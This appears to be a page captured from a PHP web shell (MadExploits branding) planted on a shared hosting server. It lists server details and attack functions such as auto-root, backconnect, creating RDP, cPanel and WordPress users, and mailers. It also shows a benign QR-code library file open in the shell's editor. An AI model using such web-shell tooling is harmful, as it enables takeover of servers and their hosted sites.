Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.138.67.97
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs16 /
root /
usr /
lib /
node_modules /
npm /
node_modules.bundled /
qrcode-terminal /
vendor /
QRCode /
[ HOME SHELL ]
Name
Size
Permission
Action
QR8bitByte.js
382
B
-rw-r--r--
QRBitBuffer.js
702
B
-rw-r--r--
QRErrorCorrectLevel.js
54
B
-rw-r--r--
QRMaskPattern.js
157
B
-rw-r--r--
QRMath.js
673
B
-rw-r--r--
QRMode.js
149
B
-rw-r--r--
QRPolynomial.js
1.3
KB
-rw-r--r--
QRRSBlock.js
5.43
KB
-rw-r--r--
QRUtil.js
8.03
KB
-rw-r--r--
index.js
10.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : QRPolynomial.js
var QRMath = require('./QRMath'); function QRPolynomial(num, shift) { if (num.length === undefined) { throw new Error(num.length + "/" + shift); } var offset = 0; while (offset < num.length && num[offset] === 0) { offset++; } this.num = new Array(num.length - offset + shift); for (var i = 0; i < num.length - offset; i++) { this.num[i] = num[i + offset]; } } QRPolynomial.prototype = { get : function(index) { return this.num[index]; }, getLength : function() { return this.num.length; }, multiply : function(e) { var num = new Array(this.getLength() + e.getLength() - 1); for (var i = 0; i < this.getLength(); i++) { for (var j = 0; j < e.getLength(); j++) { num[i + j] ^= QRMath.gexp(QRMath.glog(this.get(i) ) + QRMath.glog(e.get(j) ) ); } } return new QRPolynomial(num, 0); }, mod : function(e) { if (this.getLength() - e.getLength() < 0) { return this; } var ratio = QRMath.glog(this.get(0) ) - QRMath.glog(e.get(0) ); var num = new Array(this.getLength() ); for (var i = 0; i < this.getLength(); i++) { num[i] = this.get(i); } for (var x = 0; x < e.getLength(); x++) { num[x] ^= QRMath.gexp(QRMath.glog(e.get(x) ) + ratio); } // recursive call return new QRPolynomial(num, 0).mod(e); } }; module.exports = QRPolynomial;
Close